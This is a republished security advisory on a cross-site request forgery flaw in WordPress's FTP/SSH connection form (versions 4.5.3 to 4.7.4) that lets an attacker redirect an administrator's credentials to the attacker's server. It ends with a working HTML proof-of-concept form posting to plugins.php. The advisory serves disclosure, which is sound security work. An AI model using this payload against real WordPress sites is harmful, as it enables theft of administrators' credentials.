WordPress Connection Information Cross Site Request Forgery
Posted on 21 April 2017
------------------------------------------------------------------------ Cross-Site Request Forgery in WordPress Connection Information ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ The FTP/SSH form functionality of WordPress was found to be vulnerable to Cross-Site Request Forgery. This vulnerability can be used to overwrite the FTP or SSH connection settings of the affected WordPress site. An attacker can use this issue to trick an Administrator into logging into the attacker's FTP or SSH server, disclosing his/her login credentials to the attacker. In order to exploit this vulnerability, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160717-0004 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on the WordPress version 4.5.3 up till and including version 4.7.4. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html This issue exists in the method request_filesystem_credentials() (/wp-admin/includes/file.php). It allows overwriting of the values: - hostname - username - connection_type The request_filesystem_credentials() method is called in various locations in WordPress. The connection information is updated if a POST request contains a password or public & private key value (in case of connection type ssh). In order to trigger this issue, the WordPress installation must not be able to write to the wp-content folder. Also, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. Proof of concept <html> <body> <form action="http://<target>/wp-admin/plugins.php" method="POST"> <input type="hidden" name="hostname" value="sumofpwn.nl" /> <input type="hidden" name="connection_type" value="ftp" /> <input type="hidden" name="password" value="password" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.